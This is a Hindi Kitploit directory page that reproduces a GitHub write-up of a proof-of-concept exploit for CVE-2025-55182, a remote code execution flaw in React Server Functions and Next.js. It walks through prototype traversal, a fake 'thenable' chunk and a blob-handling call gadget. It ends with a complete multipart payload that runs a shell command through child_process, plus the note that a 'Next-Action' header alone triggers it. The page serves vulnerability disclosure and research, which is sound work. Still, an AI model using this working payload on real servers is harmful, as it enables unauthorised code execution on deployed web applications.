Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182 — CVE-2025-55182 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो प्रोटोटाइप पोल्यूशन और क्राफ्टेड Flight प्रोटोकॉल चंक्स के माध्यम से React Server Functions में रिमोट कोड एक्ज़ीक्यूशन प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/andressuarezmonk/cve-2025-55182
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubandressuarezmonk/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो प्रोटोटाइप पोल्यूशन और क्राफ्टेड Flight प्रोटोकॉल चंक्स के माध्यम से React Server Functions में रिमोट कोड एक्ज़ीक्यूशन प्राप्त करता है।

रिपॉजिटरी देखें
9 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182

मूल लेखक: https://github.com/msanft/CVE-2025-55182

यह भेद्यता React Server Functions में RCE की अनुमति देती है, जैसे कि Next.js द्वारा असुरक्षित प्रोटोटाइप संदर्भों के माध्यम से प्रदान की जाती है।

मैं React या Next.js का विशेषज्ञ नहीं हूँ, इसलिए यहाँ दी गई सभी जानकारी को संदेह की दृष्टि से लें।

पृष्ठभूमि

React सर्वर फ़ंक्शन्स[^1] प्रदान करता है, जिन्हें HTTP-पर-RPC की तरह देखा जा सकता है। इनका उपयोग निकटवर्ती पीयर्स से डेटा लाने के लिए किया जा सकता है ताकि कम विलंबता सुनिश्चित हो, या प्रमाणित अनुरोध करने के लिए जिनके लिए क्लाइंट के पास क्रेडेंशियल नहीं होते।

React, सर्वर फ़ंक्शन्स को भेजे गए मानों के क्रमांकन के लिए React Flight Protocol[^2] नामक चीज़ का उपयोग करता है।

क्लाइंट सर्वर को "chunks" भेजता है, उदाहरण के लिए फ़ॉर्म डेटा के माध्यम से:

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

जैसा दिखाया गया है, इनमें एक-दूसरे के बीच संदर्भ हो सकते हैं। उपरोक्त पेलोड सर्वर पर निम्न रूप में डिसीरियलाइज़ होता है:

{ object: 'fruit', name: 'cherry' }

प्रारूप स्वयं थोड़ा अधिक जटिल है और अधिक जटिल क्रमांकन तथा डी-सीरियलाइज़ेशन की अनुमति देता है, लेकिन यह वास्तविक भेद्यता की बुनियादी समझ प्रदान करता है।

भेद्यता

इस कमिट[^3] तक, संदर्भ समाधान में chunks को ट्रैवर्स करते समय, जैसे उपरोक्त उदाहरण में chunk 2 से fruitName प्राप्त करना, React यह सत्यापित नहीं करता था कि अनुरोधित कुंजी वास्तव में ऑब्जेक्ट पर सेट है या नहीं। इससे हमें ऑब्जेक्ट प्रोटोटाइप[^4] प्राप्त करने की अनुमति मिली।

इसे इस प्रकार के पेलोड से प्रदर्शित किया जा सकता है:

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

जो फ़ंक्शन कन्स्ट्रक्टर[^5] में डिसीरियलाइज़ होता है:

[Function: Function]

जब ID 0 वाला chunk एक ऐरे नहीं बल्कि एक ऑब्जेक्ट होता है, तो हम then कुंजी को फ़ंक्शन कन्स्ट्रक्टर पर सेट कर सकते हैं। फिर ऑब्जेक्ट को decodeReplyFromBusboy फ़ंक्शन द्वारा लौटाया जाता है और Next.js द्वारा await किया जाता है:

// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

जब यह एक thenable लौटाता है, तो कॉलर में await इसे कॉल करेगा। इस पेलोड के साथ यही होता है:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

जिससे यह त्रुटि उत्पन्न होती है:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

त्रुटि ऐसी दिखती है क्योंकि V8 एक await किए गए फ़ंक्शन को आंतरिक resolve और reject फ़ंक्शन्स के साथ कॉल करता है, जो toString किए जाने पर कुछ इस प्रकार क्रमांकित होते हैं:

function () { [native code] }

शोषण

चूँकि हम आसानी से Function कन्स्ट्रक्टर प्राप्त कर सकते हैं, सीधा तरीका एक कॉल गैजेट खोजना है जो कन्स्ट्रक्टर को उपयोगकर्ता-नियंत्रित मान (यानी फ़ंक्शन का कोड एक स्ट्रिंग के रूप में) के साथ आमंत्रित करता है, और बाद में लौटाए गए फ़ंक्शन को कॉल करता है।

ऐसे कई स्थान हैं जो फ़ंक्शन कन्स्ट्रक्टर को कॉल कर सकते हैं, उदाहरण के लिए resolveServerReference, जहाँ id एक नियंत्रित ऑब्जेक्ट है, और lastIndexOf को उपयोगकर्ता-नियंत्रित स्ट्रिंग लौटाने के लिए अधिलेखित किया जा सकता है (उदाहरण के लिए Array.prototype.join के माध्यम से) और slice को फ़ंक्शन कन्स्ट्रक्टर पर अधिलेखित किया जा सकता है। हालाँकि, यह स्थान काम नहीं करता क्योंकि .slice() का दूसरा आह्वान पहले तर्क के रूप में एक संख्या प्रदान करता है, जिसे - मेरी जानकारी के अनुसार - फ़ंक्शन कन्स्ट्रक्टर कभी संभाल नहीं सकता।

यहाँ maple3142[^6] का एक शानदार विचार आता है। जब getChunk संदर्भ श्रृंखला को हल करना शुरू करने के लिए ID 0 वाले chunk को रूट संदर्भ के रूप में लेता है, यही वही chunk एक निर्मित "नकली chunk" में हल हो सकता है।

हम chunk 1 में निर्मित chunk 0 को $@ सिंटैक्स का उपयोग करके संदर्भित कर सकते हैं, जो "कच्चा" chunk लौटाता है, न कि उसका हल किया गया मान:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

इसे उपरोक्त अपने then अधिलेखन के साथ जोड़कर, हम कुछ इस तरह का निर्माण कर सकते हैं:

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

यहाँ, chunk 0 अपने स्वयं के .then() को अपने ही कच्चे chunk प्रतिनिधित्व के .then() से अधिलेखित करता है। सीधे शब्दों में, हम अपने स्वयं के .then() को Chunk.prototype.then से अधिलेखित करते हैं, जो मौजूद है, क्योंकि Chunks thenable हैं:

Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

उपरोक्त पेलोड के साथ, Chunk.prototype.then को अंततः ID 0 वाले निर्मित chunk के साथ कॉल किया जाता है।

जैसा ऊपर दिखाया गया है, जब हमारे नकली chunk पर .status resolved_model होता है:

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

हम initializeModelChunk में पहुँच जाते हैं। यहाँ, .value को JSON के रूप में पार्स किया जाता है, और फिर लौटाए गए ऑब्जेक्ट पर संदर्भों को हल किया जाता है, जिसमें ID 0 और 1 वाले हमारे chunks का "बाहरी" संदर्भ उपयोग होता है:

function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

इसके भीतर, अब हमें मूल्यांकन का दूसरा पास मिलता है, जिसमें हमारे पास थोड़े अधिक मानों तक पहुँच होती है, क्योंकि बाहरी संदर्भ पहले ही हल हो चुका होता है।

फ्लाइट प्रोटोकॉल में $B उपसर्ग के साथ ब्लॉब डेटा के प्रबंधन में एक कॉल गैजेट है:

case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

विशेष _response फ़ील्ड का उपयोग करके, हम निर्मित chunk के response गुण को नियंत्रित करते हैं:

// in initializeModelChunk
value = reviveModel(chunk._response, // ...

इसके साथ, हम नकली ._formData और ._prefix गुणों वाला एक ऑब्जेक्ट बना सकते हैं:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

.reason को initializeModelChunk में toString आह्वान पर विफलता से बचने के लिए जोड़ा जाना आवश्यक है:

var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

._formData को फ़ंक्शन कन्स्ट्रक्टर की ओर और ._prefix को अपने कोड की ओर इंगित करके, हमें ब्लॉब डिसीरियलाइज़ेशन में फ़ंक्शन कन्स्ट्रक्टर के लिए एक आह्वान गैजेट मिलता है:

response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")

हमारा निर्मित फ़ंक्शन तब parseModelString द्वारा निर्मित chunk के .then() विधि के रूप में लौटाया जाता है, जिसे await भी किया जाता है, क्योंकि यह सब एक ही promise रिज़ॉल्विंग श्रृंखला में होता है। इस प्रकार, एक thenable लौटाने पर, हमारा निर्मित फ़ंक्शन कॉल हो जाता है। यह ऊपर संदर्भित आवश्यक कॉल गैजेट का गठन करता है।

इसे एक वास्तविक RCE पेलोड के साथ जोड़कर, हमें कुछ इस तरह मिलता है:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

इस भेद्यता को और भी गंभीर बनाने वाला अतिरिक्त लाभ यह है कि यह सब डिसीरियलाइज़ेशन के दौरान होता है, इससे पहले कि अनुरोधित क्रिया को getActionModIdOrError में पहली बार मान्य किया जाए। इस प्रकार, Next-Action: foo जैसा हेडर सेट करना भेद्यता को ट्रिगर करने के लिए पर्याप्त है।

पैच

टूल डाउनलोड करें